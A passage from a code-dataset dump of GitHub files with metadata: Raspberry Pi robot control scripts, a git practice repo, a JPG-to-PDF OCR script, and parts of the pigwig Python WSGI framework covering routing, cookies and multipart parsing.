GPIO.output(PWMA, False)\n\t\tGPIO.output(PWMB, False)\n\t\tprint('Press UP, DOWN, LEFT OR RIGHT')\nfinally:\n print('Bye')\n" }, { "alpha_fraction": 0.5996784567832947, "alphanum_fraction": 0.6463022232055664, "avg_line_length": 23.513158798217773, "blob_id": "6d2aa90f18a100835c409eafbefac40b75142cce", "content_id": "af922dafa3583d9d5c70afa91229bc8cf597ab5b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1866, "license_type": "no_license", "max_line_length": 54, "num_lines": 76, "path": "/wall_e/test4.py", "repo_name": "lukasstaras/robo.py", "src_encoding": "UTF-8", "text": "\n# External module imports\nimport RPi.GPIO as GPIO\nimport time\n\n# Pin Definitons:\nIRsensor1 = 4 # Broadcom pin\nIRsensor2 = 17\nIRsensor3 = 27\n\n# Pin Setup:\nGPIO.setmode(GPIO.BCM) # Broadcom pin-numbering scheme\nGPIO.setup(IRsensor1, GPIO.IN) # sensor set as input\nGPIO.setup(IRsensor2, GPIO.IN)\nGPIO.setup(IRsensor3, GPIO.IN)\n\nAIN1 = 2\nAIN2 = 3\nPWMA = 10\nBIN1 = 23\nBIN2 = 24\nPWMB = 18\n\nGPIO.setwarnings(False)\nGPIO.setup(AIN1, GPIO.OUT)\nGPIO.setup(AIN2, GPIO.OUT)\nGPIO.setup(PWMA, GPIO.OUT)\n\nGPIO.setup(BIN1, GPIO.OUT)\nGPIO.setup(BIN2, GPIO.OUT)\nGPIO.setup(PWMB, GPIO.OUT)\nleftmotor = GPIO.PWM(PWMA, 50)\nleftmotor.start(0)\nrightmotor = GPIO.PWM(PWMB, 50)\nrightmotor.start(0)\n\n#run\nwhile True:\n A = GPIO.input(IRsensor1)\n\tB = GPIO.input(IRsensor2)\n\tC = GPIO.input(IRsensor3)\n print(A, B, C)\n time.sleep(0.001)\n\tif B == 1:\n\t\tGPIO.output(AIN1, GPIO.HIGH)\n\t\tGPIO.output(AIN2, GPIO.LOW)\n\t\trightmotor.ChangeDutyCycle(60)\n\n\t\tGPIO.output(BIN1, GPIO.HIGH)\n\t\tGPIO.output(BIN2, GPIO.LOW)\n\t\tleftmotor.ChangeDutyCycle(60)\n\telif B == 0 and A == 0 and C == 0:\n\t\ttime.sleep(2)\n\t\tGPIO.output(AIN1, GPIO.LOW)\n\t\tGPIO.output(AIN2, GPIO.LOW)\n\t\tGPIO.output(BIN1, GPIO.LOW)\n\t\tGPIO.output(BIN2, GPIO.LOW)\n\t\tleftmotor.ChangeDutyCycle(0)\n\t\trightmotor.ChangeDutyCycle(0)\n\telif C == 1:\n\t\tGPIO.output(AIN1, GPIO.HIGH)\n GPIO.output(AIN2, GPIO.LOW)\n rightmotor.ChangeDutyCycle(10)\n\n GPIO.output(BIN1, GPIO.LOW)\n GPIO.output(BIN2, GPIO.HIGH)\n leftmotor.ChangeDutyCycle(50)\n\t\t#time.sleep(0.001)\n\telif A == 1:\n\t\tGPIO.output(AIN1, GPIO.LOW)\n GPIO.output(AIN2, GPIO.HIGH)\n rightmotor.ChangeDutyCycle(50)\n\n GPIO.output(BIN1, GPIO.HIGH)\n GPIO.output(BIN2, GPIO.LOW)\n leftmotor.ChangeDutyCycle(10)\n # time.sleep(0.001)\n\n\n" }, { "alpha_fraction": 0.7130434513092041, "alphanum_fraction": 0.730434775352478, "avg_line_length": 13.3125, "blob_id": "b2ab87e09affe2501bc4960460854878f2f945f5", "content_id": "b3ce52068ece76546fcd570aeea40a93a3ebb72c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 230, "license_type": "no_license", "max_line_length": 27, "num_lines": 16, "path": "/wall_e/kill.py", "repo_name": "lukasstaras/robo.py", "src_encoding": "UTF-8", "text": "import signal, os\nimport RPi.GPIO as GPIO\n\nPWMA = 10\nPWMB = 18\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\n\nGPIO.setup(PWMA, GPIO.OUT)\n\nGPIO.setup(PWMB, GPIO.OUT)\n\n#run\nGPIO.output(PWMA, GPIO.LOW)\nGPIO.output(PWMB, GPIO.LOW)\n\n" }, { "alpha_fraction": 0.6893819570541382, "alphanum_fraction": 0.7321711778640747, "avg_line_length": 17, "blob_id": "8239b6a7c8c23318675d98d41838ecbe6a8aa6d4", "content_id": "a1b8ea5dafdf479688be195d815c28062a593500", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 631, "license_type": "no_license", "max_line_length": 28, "num_lines": 35, "path": "/wall_e/test2.py", "repo_name": "lukasstaras/robo.py", "src_encoding": "UTF-8", "text": "import signal, os\nimport RPi.GPIO as GPIO\nimport time\n\nAIN1 = 2\nAIN2 = 3\nPWMA = 17\nBIN1 = 23\nBIN2 = 24\nPWMB = 18\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(AIN1, GPIO.OUT)\nGPIO.setup(AIN2, GPIO.OUT)\nGPIO.setup(PWMA, GPIO.OUT)\n\nGPIO.setup(BIN1, GPIO.OUT)\nGPIO.setup(BIN2, GPIO.OUT)\nGPIO.setup(PWMB, GPIO.OUT)\n\n#run\nGPIO.output(AIN1, GPIO.HIGH)\nGPIO.output(AIN2, GPIO.LOW)\nGPIO.output(PWMA, GPIO.HIGH)\n\nGPIO.output(BIN1, GPIO.HIGH)\nGPIO.output(BIN2, GPIO.LOW)\nGPIO.output(PWMB, GPIO.HIGH)\ntime.sleep(2)\n\nGPIO.output(AIN1, GPIO.LOW)\nGPIO.output(AIN2, GPIO.LOW)\nGPIO.output(BIN1, GPIO.LOW)\nGPIO.output(BIN2, GPIO.LOW)\n\n" }, { "alpha_fraction": 0.5806451439857483, "alphanum_fraction": 0.6106785535812378, "avg_line_length": 24.685714721679688, "blob_id": "4c1aca2bbdbdacaf826594ca8b78cd6165b33d90", "content_id": "3f8f3d250b363a3368cb6cb4ef2fa84781950333", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 899, "license_type": "no_license", "max_line_length": 61, "num_lines": 35, "path": "/wall_e/UltraSoundSenor.py", "repo_name": "lukasstaras/robo.py", "src_encoding": "UTF-8", "text": "import time\nimport datetime\nimport RPi.GPIO as GPIO\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nEchoPin = 16\nTrigPin = 15\nGPIO.setup(TrigPin,GPIO.OUT)\nGPIO.setup(EchoPin,GPIO.IN)\n\n\ndef reading(sensor):\n pingtime = 0\n echotime = 0\n if sensor == 0:\n GPIO.output(TrigPin,GPIO.LOW)\n GPIO.output(TrigPin,GPIO.HIGH)\n pingtime=time.time()\n time.sleep(0.00001)\n GPIO.output(TrigPin,GPIO.LOW)\n while GPIO.input(EchoPin)==0:\n pingtime = time.time()\n while GPIO.input(EchoPin)==1:\n echotime=time.time()\n if (echotime is not None) and (pingtime is not None):\n elapsedtime = echotime - pingtime\n distance = elapsedtime * 17000\n else:\n distance = 0\n return distance\n\nwhile True:\n range = reading(0)\n print'Distance is:', format(range, '.02f'), 'cm'\n time.sleep(0.25)\n" } ]
7
benmccormick/git-example
https://github.com/benmccormick/git-example
4922c3d839b0e64a29e935241aad8c0738fed008
3b1bc3e8ccc14b9b278a4e740bd44ef268397e90
d4c570f0c269f8f91b46b80245001ff222a69c62
refs/heads/master
2016-08-11T21:30:03.652297
2016-03-05T16:43:46
2016-03-05T16:43:46
53,210,121
0
1
null
2016-03-05T16:12:22
2016-03-05T16:14:29
2016-03-05T16:37:58
Python
[ { "alpha_fraction": 0.7013888955116272, "alphanum_fraction": 0.7013888955116272, "avg_line_length": 15, "blob_id": "a28b7a906e80509f723bfbeda4945f638fc8cdee", "content_id": "1595d95a56123f06373fb8b2e9aad591516fc7c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 144, "license_type": "no_license", "max_line_length": 71, "num_lines": 9, "path": "/README.md", "repo_name": "benmccormick/git-example", "src_encoding": "UTF-8", "text": "### This repository is just an example for demonstrating how git works.\n\n`This is a new line`\n\n> This is a second new line\n\n**bold**\n\n*italics*\n" }, { "alpha_fraction": 0.7523809671401978, "alphanum_fraction": 0.7523809671401978, "avg_line_length": 20, "blob_id": "5c01e23e573137846f947cb1de31dbfa0e2a9067", "content_id": "70295dde5b61da6f3c332de2110fe0707e88557f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 105, "license_type": "no_license", "max_line_length": 48, "num_lines": 5, "path": "/hello.py", "repo_name": "benmccormick/git-example", "src_encoding": "UTF-8", "text": "print('Hello Claire')\n\nprint('This is some super serious fun practice')\n\n#will comments show as changes?\n" } ]
2
CamJohnson26/PhD-Research-Assistant
https://github.com/CamJohnson26/PhD-Research-Assistant
bb7ac3ac1dad5acab24015aebf44071ffd565703
bba724d2ec81df3fa2a4cf61973518df49794c87
dfbc2b766f741a3c27a5384e704790224edc51b2
refs/heads/master
2021-01-13T00:33:50.179807
2017-02-13T15:16:49
2017-02-13T15:16:49
81,771,853
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.6670071482658386, "alphanum_fraction": 0.678243100643158, "avg_line_length": 28.66666603088379, "blob_id": "032871738a03bcc355374878edf00cb94250e023", "content_id": "1ca881dbaa326f4257b058de4eea9d54fce27e77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 979, "license_type": "no_license", "max_line_length": 97, "num_lines": 33, "path": "/script.py", "repo_name": "CamJohnson26/PhD-Research-Assistant", "src_encoding": "UTF-8", "text": "from fpdf import FPDF\nfrom os import listdir\nfrom os.path import isfile, join, basename\nfrom PIL import Image\nimport os\n\ndef createPDFS(mypath):\n\tprint(\"Processing folder \" + mypath)\n\tfolders = [join(mypath, f) for f in listdir(mypath) if not isfile(join(mypath, f))]\n\timagelist = [join(mypath, f) for f in listdir(mypath) if isfile(join(mypath, f)) and \"JPG\" in f]\n\n\tpdf = FPDF()\n\t# imagelist is the list with all image filenames\n\tprint(str(len(imagelist)) + \" jpgs found\")\n\tfor image in imagelist:\n\t\tim = Image.open(image)\n\t\tw, h = im.size\n\t\tif w > h:\n\t\t\timg2 = im.rotate(90, expand=True)\n\t\t\timg2.save(image)\n\t\tpdf.add_page()\n\t\tpdf.image(image,0,0,200)\n\tif len(imagelist) > 0:\n\t\tnewfile = join(mypath,basename(mypath) + \".pdf\")\n\t\tpdf.output(newfile, \"F\")\n\t\tmycmd = \"ocrmypdf \\\"\" + newfile + \"\\\" \\\"\" + newfile[:-4] + \"-ocr.pdf\\\"\"\n\t\tprint(mycmd)\n\t\tos.system(mycmd)\n\tfor f in folders:\n\t\tcreatePDFS(f)\n\nmypath = \"/Users/rahardhikautama/Desktop/Test JPG to PDF/\"\ncreatePDFS(mypath)\n" }, { "alpha_fraction": 0.804651141166687, "alphanum_fraction": 0.804651141166687, "avg_line_length": 52.75, "blob_id": "63d19f73735e935ceb0c25fec156221e5c1b929b", "content_id": "f100e40931747db85bf39cfb80b111b0e4003724", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 215, "license_type": "no_license", "max_line_length": 134, "num_lines": 4, "path": "/README.md", "repo_name": "CamJohnson26/PhD-Research-Assistant", "src_encoding": "UTF-8", "text": "# PhD-Research-Assistant\nConvert folders of jpg documents into OCR labeled pdf\n\nWe have several dependencies including tesseract, ocrmypdf, and PIL. Some can be installed with pip, the others with Homebrew (on mac)\n" } ]
2
raylu/pigwig
https://github.com/raylu/pigwig
c41e511357cf7c5ef81e87ce78d051bb8e63e2e9
85e4f408ac8c90d6595311abfb02ba91cafdbf5a
7b85d7341ecf7d93c89ebed9939bae977652ad68
refs/heads/master
2023-06-23T17:53:33.297237
2023-06-15T03:40:35
2023-06-15T03:40:35
36,286,395
9
3
null
2015-05-26T09:40:36
2015-12-29T01:33:30
2016-07-21T04:55:23
Python
[ { "alpha_fraction": 0.6906119585037231, "alphanum_fraction": 0.695426344871521, "avg_line_length": 36.58571243286133, "blob_id": "565b162d05249bb701a1eb14cdacaa13614539de", "content_id": "69bb3b23202c6665d03d5f475a47c2a69d94bafd", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7893, "license_type": "permissive", "max_line_length": 116, "num_lines": 210, "path": "/pigwig/request_response.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "from collections import UserDict\nimport copy\nimport hashlib\nimport hmac\nimport http.cookies\nimport json as jsonlib\nimport time\n\nfrom . import exceptions\n\nclass Request:\n\t'''\n\tan instance of this class is passed to every route handler. has the following instance attrs:\n\n\t* ``app`` - an instance of :class:`.PigWig`\n\t* ``method`` - the request method/verb (``GET``, ``POST``, etc.)\n\t* ``path`` - WSGI environ ``PATH_INFO`` (``/foo/bar``)\n\t* ``query`` - dict of parsed query string. duplicate keys appear as lists\n\t* ``headers`` - :class:`.HTTPHeaders` of the headers\n\t* ``body`` - dict of parsed body content. see :attr:`PigWig.content_handlers` for a list\n\t of supported content types\n\t* ``cookies`` - an instance of\n\t `http.cookies.SimpleCookie <https://docs.python.org/3/library/http.cookies.html#http.cookies.SimpleCookie>`_\n\t* ``wsgi_environ`` - the raw `WSGI environ <https://www.python.org/dev/peps/pep-0333/#environ-variables>`_\n\t handed down from the server\n\t'''\n\n\tdef __init__(self, app, method, path, query, headers, body, cookies, wsgi_environ):\n\t\tself.app = app\n\t\tself.method = method\n\t\tself.path = path\n\t\tself.query = query\n\t\tself.headers = headers\n\t\tself.body = body\n\t\tself.cookies = cookies\n\t\tself.wsgi_environ = wsgi_environ\n\n\tdef get_secure_cookie(self, key, max_time):\n\t\t'''\n\t\tdecode and verify a cookie set with :func:`Response.set_secure_cookie`\n\n\t\t:param key: ``key`` passed to ``set_secure_cookie``\n\t\t:type max_time: `datetime.timedelta <https://docs.python.org/3/library/datetime.html#timedelta-objects>`_\n\t\t or None\n\t\t:param max_time: amount of time since cookie was set that it should be considered valid for.\n\t\t this is normally equal to the ``max_age`` passed to ``set_secure_cookie``. longer times mean\n\t\t larger windows during which a replay attack is valid. this can be None, in which case no\n\t\t expiry check is performed\n\t\t:rtype: str or None\n\t\t'''\n\t\ttry:\n\t\t\tcookie = self.cookies[key].value\n\t\texcept KeyError:\n\t\t\treturn None\n\t\ttry:\n\t\t\tvalue, ts, signature = cookie.rsplit('|', 2)\n\t\t\tts = int(ts)\n\t\texcept ValueError:\n\t\t\traise exceptions.HTTPException(400, 'invalid %s cookie: %s' % (key, cookie))\n\t\tvalue_ts = '%s|%d' % (value, int(ts))\n\t\tif hmac.compare_digest(signature, _hash(key + '|' + value_ts, self.app.cookie_secret)):\n\t\t\tif max_time is not None and ts + max_time.total_seconds() < time.time(): # cookie has expired\n\t\t\t\treturn None\n\t\t\treturn value\n\t\telse:\n\t\t\treturn None\n\nclass Response:\n\t'''\n\tevery route handler should return an instance of this class (or raise an :class:`.exceptions.HTTPException`)\n\n\t:param body:\n\t * if ``None``, the response body is empty\n\t * if a ``str``, the response body is UTF-8 encoded\n\t * if a ``bytes``, the response body is sent as-is\n\t * if a generator, the response streams the yielded bytes\n\t:type code: int\n\t:param code: HTTP status code; the \"reason phrase\" is generated automatically from\n\t `http.client.responses <https://docs.python.org/3/library/http.client.html#http.client.responses>`_\n\t:param content_type: sets the Content-Type header\n\t:param location: if not ``None``, sets the Location header. you must still specify a 3xx code\n\t:param extra_headers: if not ``None``, an iterable of extra header 2-tuples to be sent\n\n\thas the following instance attrs:\n\n\t* ``code``\n\t* ``body``\n\t* ``headers`` - a list of 2-tuples\n\t'''\n\n\tDEFAULT_HEADERS = [\n\t\t('Access-Control-Allow-Origin', '*'),\n\t\t('Access-Control-Allow-Headers', 'Authorization, X-Requested-With, X-Request'),\n\t]\n\n\tjson_encoder = jsonlib.JSONEncoder(indent='\\t')\n\tsimple_cookie = http.cookies.SimpleCookie()\n\n\tdef __init__(self, body=None, code=200, content_type='text/plain', location=None, extra_headers=None):\n\t\tself.body = body\n\t\tself.code = code\n\n\t\theaders = copy.copy(self.DEFAULT_HEADERS)\n\t\theaders.append(('Content-Type', content_type))\n\t\tif location:\n\t\t\theaders.append(('Location', location))\n\t\tif extra_headers:\n\t\t\theaders.extend(extra_headers)\n\t\tself.headers = headers\n\n\tdef set_cookie(self, key, value, domain=None, path='/', expires=None, max_age=None, secure=False, http_only=False):\n\t\t'''\n\t\tadds a Set-Cookie header\n\n\t\t:type expires: datetime.datetime\n\t\t:param expires: if set to a value in the past, the cookie is deleted. if this and ``max_age`` are\n\t\t not set, the cookie becomes a session cookie.\n\t\t:type max_age: datetime.timedelta\n\t\t:param max_age: according to the spec, has precedence over expires. if you specify both, both are sent.\n\t\t:param secure: controls when the browser sends the cookie back - unrelated to :func:`set_secure_cookie`\n\n\t\tsee `the docs <https://tools.ietf.org/html/rfc6265#section-4.1>`_ for an explanation of the other params\n\t\t'''\n\t\tcookie = '%s=%s' % (key, self.simple_cookie.value_encode(value)[1])\n\t\tif domain:\n\t\t\tcookie += '; Domain=%s' % domain\n\t\tif path:\n\t\t\tcookie += '; Path=%s' % path\n\t\tif expires:\n\t\t\texpires = expires.strftime('%a, %d %b %Y %H:%M:%S GMT')\n\t\t\tcookie += '; Expires=%s' % expires\n\t\tif max_age is not None:\n\t\t\tcookie += '; Max-Age=%d' % max_age.total_seconds()\n\t\tif secure:\n\t\t\tcookie += '; Secure'\n\t\tif http_only:\n\t\t\tcookie += '; HttpOnly'\n\t\tself.headers.append(('Set-Cookie', cookie))\n\n\tdef set_secure_cookie(self, request, key, value, **kwargs):\n\t\t'''\n\t\tthis function accepts the same keyword arguments as :func:`.set_cookie` but stores a\n\t\ttimestamp and a signature based on ``request.app.cookie_secret``. decode with\n\t\t:func:`Request.get_secure_cookie`.\n\n\t\tthe signature is a SHA-256 `hmac <https://docs.python.org/3/library/hmac.html>`_ of the\n\t\tkey, value, and timestamp. the value is *not* encrypted and is readable by the user, but is\n\t\tsigned and tamper-proof (assuming the ``cookie_secret`` is secure). because we store the\n\t\tsigning time, expiry is checked with ``get_secure_cookie``. you generally will want to pass\n\t\tthis function a ``max_age`` equal to ``max_time`` used when reading the cookie.\n\t\t'''\n\t\tts = int(time.time())\n\t\tvalue_ts = '%s|%s' % (value, ts)\n\t\tsignature = _hash(key + '|' + value_ts, request.app.cookie_secret)\n\t\tvalue_signed = '%s|%s' % (value_ts, signature)\n\t\tself.set_cookie(key, value_signed, **kwargs)\n\n\t@classmethod\n\tdef json(cls, obj):\n\t\t'''\n\t\tgenerate a streaming :class:`.Response` object from an object with an ``application/json``\n\t\tcontent type. the default :attr:`.json_encoder` indents with tabs - override if you want\n\t\tdifferent indentation or need special encoding.\n\t\t'''\n\t\tbody = cls._gen_json(obj)\n\t\treturn Response(body, content_type='application/json; charset=utf-8')\n\n\t@classmethod\n\tdef _gen_json(cls, obj):\n\t\t'''\n\t\tinternal use generator for converting\n\t\t`json.JSONEncoder.iterencode <https://docs.python.org/3/library/json.html#json.JSONEncoder.iterencode>`_\n\t\toutput to bytes\n\t\t'''\n\t\tfor chunk in cls.json_encoder.iterencode(obj):\n\t\t\tyield chunk.encode('utf-8')\n\n\t@classmethod\n\tdef render(cls, request, template, context):\n\t\t'''\n\t\tgenerate a streaming :class:`.Response` object from a template and a context with a\n\t\t``text/html`` content type.\n\n\t\t:type request: :class:`.Request`\n\t\t:param request: the request to generate the response for\n\t\t:type template: str\n\t\t:param template: the template name to render, relative to ``request.app.template_dir``\n\t\t:param context: if you used the default jinja2 template engine, this is a dict\n\n\t\t'''\n\t\tbody = request.app.template_engine.render(template, context)\n\t\tresponse = cls(body, content_type='text/html; charset=utf-8')\n\t\treturn response\n\ndef _hash(value_ts, cookie_secret):\n\th = hmac.new(cookie_secret, value_ts.encode(), hashlib.sha256)\n\tsignature = h.hexdigest()\n\treturn signature\n\nclass HTTPHeaders(UserDict): # inherit so that __init__ and fromkeys work (even though we never use them)\n\t'''\n\tbehaves like a regular :class:`dict` but\n\t`casefolds <https://docs.python.org/3/library/stdtypes.html#str.casefold>`_ the keys\n\t'''\n\n\tdef __setitem__(self, key, value):\n\t\tself.data[key.casefold()] = value\n\n\tdef __getitem__(self, key):\n\t\treturn self.data[key.casefold()]\n" }, { "alpha_fraction": 0.6721991896629333, "alphanum_fraction": 0.6908713579177856, "avg_line_length": 27.352941513061523, "blob_id": "14a05fc070b3a433d8821223cc9d724ff22c7c9b", "content_id": "15c8801176959b7fefd25ad3a11021a43d773379", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 482, "license_type": "permissive", "max_line_length": 72, "num_lines": 17, "path": "/setup.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nfrom setuptools import setup, find_packages\n\nsetup(\n\tname='pigwig',\n\tversion='0.7.0',\n\tdescription='a python3.4+ WSGI framework',\n\tlong_description='pigs with wigs',\n\turl='https://github.com/raylu/pigwig',\n\tauthor='raylu',\n\tclassifiers=[ # https://pypi.python.org/pypi?%3Aaction=list_classifiers\n\t\t'Programming Language :: Python :: 3.4',\n\t\t'Topic :: Internet :: WWW/HTTP :: WSGI',\n\t],\n\tpackages=find_packages(exclude=['docs', 'pigwig.tests', 'blogwig']),\n)\n" }, { "alpha_fraction": 0.6859205961227417, "alphanum_fraction": 0.6859205961227417, "avg_line_length": 24.18181800842285, "blob_id": "2ebe32e42d94cb076631c960374d36668f75ceaa", "content_id": "c1e2b6af376d1308afe1dc4a0ba29637751d9c5e", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 277, "license_type": "permissive", "max_line_length": 96, "num_lines": 11, "path": "/docs/request_response.rst", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "Request and Response\n====================\n\n.. py:module:: pigwig\n\n.. autoclass:: pigwig.Request\n\n.. autoclass:: pigwig.Response\n\n.. autoclass:: pigwig.request_response.HTTPHeaders\n :exclude-members: _abc_cache, _abc_negative_cache, _abc_negative_cache_version, _abc_registry\n" }, { "alpha_fraction": 0.6695412397384644, "alphanum_fraction": 0.6767851114273071, "avg_line_length": 30.85714340209961, "blob_id": "8e72a2b86f8dee3ef94bf9ebfaf3c530f9757959", "content_id": "2080df9fac6a03b454310d11f314c4d24514e25f", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2899, "license_type": "permissive", "max_line_length": 73, "num_lines": 91, "path": "/pigwig/routes.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "import textwrap\nimport re\n\nfrom . import exceptions\n\nclass RouteNode:\n\tdef __init__(self):\n\t\tself.method_handlers = {}\n\t\tself.static_children = {}\n\t\tself.param_name = self.param_children = self.param_is_path = None\n\n\tparam_re = re.compile(r'<([\\w:]+)>')\n\tdef assign_route(self, path_elements, method, handler):\n\t\tif not path_elements or path_elements[0] == '':\n\t\t\tif len(path_elements) > 1:\n\t\t\t\traise Exception('cannot have consecutive / in routes')\n\t\t\tif method in self.method_handlers:\n\t\t\t\traise exceptions.RouteConflict(method, handler)\n\t\t\tself.method_handlers[method] = handler\n\t\t\treturn\n\n\t\telement = path_elements[0]\n\t\tremaining = path_elements[1:]\n\t\tparam = self.param_re.match(element)\n\t\tif param:\n\t\t\tif self.param_name is None:\n\t\t\t\tself.param_name = param.group(1)\n\t\t\t\tself.param_children = RouteNode()\n\t\t\t\tif self.param_name.startswith('path:'):\n\t\t\t\t\tself.param_is_path = True\n\t\t\t\t\tself.param_name = self.param_name[5:]\n\t\t\t\t\tremaining = []\n\t\t\t\telse:\n\t\t\t\t\tself.param_is_path = False\n\t\t\telif self.param_name != param.group(1):\n\t\t\t\traise exceptions.RouteConflict(method, handler)\n\t\t\tchild = self.param_children\n\t\telse:\n\t\t\tif element not in self.static_children:\n\t\t\t\tself.static_children[element] = RouteNode()\n\t\t\tchild = self.static_children[element]\n\n\t\tchild.assign_route(remaining, method, handler)\n\n\tdef get_route(self, method, path_elements, params):\n\t\tif not path_elements or path_elements[0] == '':\n\t\t\thandler = self.method_handlers.get(method)\n\t\t\tif handler is not None:\n\t\t\t\treturn handler, params\n\t\t\telif self.method_handlers:\n\t\t\t\traise exceptions.HTTPException(405, 'method %s not allowed' % method)\n\t\t\telse:\n\t\t\t\traise exceptions.HTTPException(404, 'route not found')\n\n\t\telement = path_elements[0]\n\t\tremaining = path_elements[1:]\n\t\tchild = self.static_children.get(element)\n\t\tif child is None:\n\t\t\tif self.param_name is None:\n\t\t\t\traise exceptions.HTTPException(404, 'route not found')\n\t\t\tif self.param_is_path:\n\t\t\t\tparams[self.param_name] = '/'.join(path_elements)\n\t\t\t\tremaining = []\n\t\t\telse:\n\t\t\t\tparams[self.param_name] = element\n\t\t\tchild = self.param_children\n\t\treturn child.get_route(method, remaining, params)\n\n\tdef route(self, method, path):\n\t\tpath_elements = path[1:].split('/')\n\t\treturn self.get_route(method, path_elements, {})\n\n\tdef __str__(self):\n\t\trval = []\n\t\tfor method, handler in self.method_handlers.items():\n\t\t\trval.append('%s: %s,' % (method, handler))\n\t\tfor element, node in self.static_children.items():\n\t\t\trval.append('%r: %s' % (element, node))\n\t\tif self.param_name:\n\t\t\tname = self.param_name\n\t\t\tif self.param_is_path:\n\t\t\t\tname += ' (path)'\n\t\t\trval.append('%s: %s' % (name, self.param_children))\n\t\treturn '{\\n%s\\n}' % textwrap.indent('\\n'.join(rval), '\\t')\n\ndef build_route_tree(routes):\n\troot_node = RouteNode()\n\tfor method, path, handler in routes:\n\t\tpath_elements = path[1:].split('/')\n\t\troot_node.assign_route(path_elements, method, handler)\n\treturn root_node\n" }, { "alpha_fraction": 0.6127533912658691, "alphanum_fraction": 0.6351351141929626, "avg_line_length": 23.66666603088379, "blob_id": "749f89fd7df2b42d3642c5be5584c9f3ee2a101c", "content_id": "3cc7715c8a83f170bee3e5aee459fb3e2e0d4f8b", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2368, "license_type": "permissive", "max_line_length": 123, "num_lines": 96, "path": "/pigwig/multipart.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "import cgi\nimport http.client\n\nmaxlen = 1024 * 1024 * 1024 # 1 GB\n\ndef parse_multipart(fp, pdict):\n\t'''\n\t\tmost of this code is copied straight from\n\t\t`cgi.parse_multipart <https://github.com/python/cpython/blob/ad76602f69d884e491b0913c641dd8e42902c36c/Lib/cgi.py#L201>`_.\n\t\tthe only difference is that it returns a :class:`.MultipartFile` for any part with a ``filename``\n\t\tparam in its content-disposition (instead of just the bytes).\n\t'''\n\tboundary = pdict.get('boundary', b'')\n\tif not cgi.valid_boundary(boundary):\n\t\traise ValueError('Invalid boundary in multipart form: %r' % boundary)\n\n\tnextpart = b'--' + boundary\n\tlastpart = b'--' + boundary + b'--'\n\tpartdict = {}\n\tterminator = b''\n\twhile terminator != lastpart:\n\t\tread = -1\n\t\tdata = None\n\t\tif terminator:\n\t\t\t# At start of next part. Read headers first.\n\t\t\theaders = http.client.parse_headers(fp)\n\t\t\tclength = headers.get('content-length')\n\t\t\tif clength:\n\t\t\t\ttry:\n\t\t\t\t\tread = int(clength)\n\t\t\t\texcept ValueError:\n\t\t\t\t\tpass\n\t\t\tif read > 0:\n\t\t\t\tif maxlen and read > maxlen:\n\t\t\t\t\traise ValueError('Maximum content length exceeded')\n\t\t\t\tdata = fp.read(read)\n\t\t\telse:\n\t\t\t\tdata = b''\n\t\t# read lines until end of part\n\t\tlines = []\n\t\twhile True:\n\t\t\tline = fp.readline()\n\t\t\tif not line:\n\t\t\t\tterminator = lastpart\n\t\t\t\tbreak\n\t\t\tif line.startswith(b'--'):\n\t\t\t\tterminator = line.rstrip()\n\t\t\t\tif terminator in (nextpart, lastpart):\n\t\t\t\t\tbreak\n\t\t\tlines.append(line)\n\t\t# done with part\n\t\tif data is None:\n\t\t\tcontinue\n\t\tif read < 0:\n\t\t\tif lines:\n\t\t\t\t# strip final line terminator\n\t\t\t\tline = lines[-1]\n\t\t\t\tif line[-2:] == b'\\r\\n':\n\t\t\t\t\tline = line[:-2]\n\t\t\t\telif line[-1:] == b'\\n':\n\t\t\t\t\tline = line[:-1]\n\t\t\t\tlines[-1] = line\n\t\t\t\tdata = b''.join(lines)\n\t\tline = headers['content-disposition']\n\t\tif not line:\n\t\t\tcontinue\n\t\tkey, params = cgi.parse_header(line)\n\t\tif key != 'form-data':\n\t\t\tcontinue\n\t\tif 'name' in params:\n\t\t\tname = params['name']\n\t\telse:\n\t\t\tcontinue\n\n\t\tif 'filename' in params:\n\t\t\tdata = MultipartFile(data, params['filename'])\n\t\tif name in partdict:\n\t\t\tpartdict[name].append(data)\n\t\telse:\n\t\t\tpartdict[name] = [data]\n\n\treturn partdict\n\nclass MultipartFile:\n\t'''\n\t\tinstance attrs:\n\n\t\t* ``data`` - a bytes\n\t\t* ``filename`` - a str\n\t'''\n\tdef __init__(self, data, filename):\n\t\tself.data = data\n\t\tself.filename = filename\n\n\tdef __repr__(self):\n\t\treturn '%s(%r, %r)' % (self.__class__.__name__, self.data, self.filename)\n" }, { "alpha_fraction": 0.6964266896247864, "alphanum_fraction": 0.7014862298965454, "avg_line_length": 36.35039520263672, "blob_id": "6c3f7c48172a830069526e8c41092b07c7f2a1a6", "content_id": "30f4421a76cdc3bef42daebf7b15af92e4ec5351", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9487, "license_type": "permissive", "max_line_length": 105, "num_lines": 254, "path": "/pigwig/pigwig.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "import cgi\nimport copy\nimport 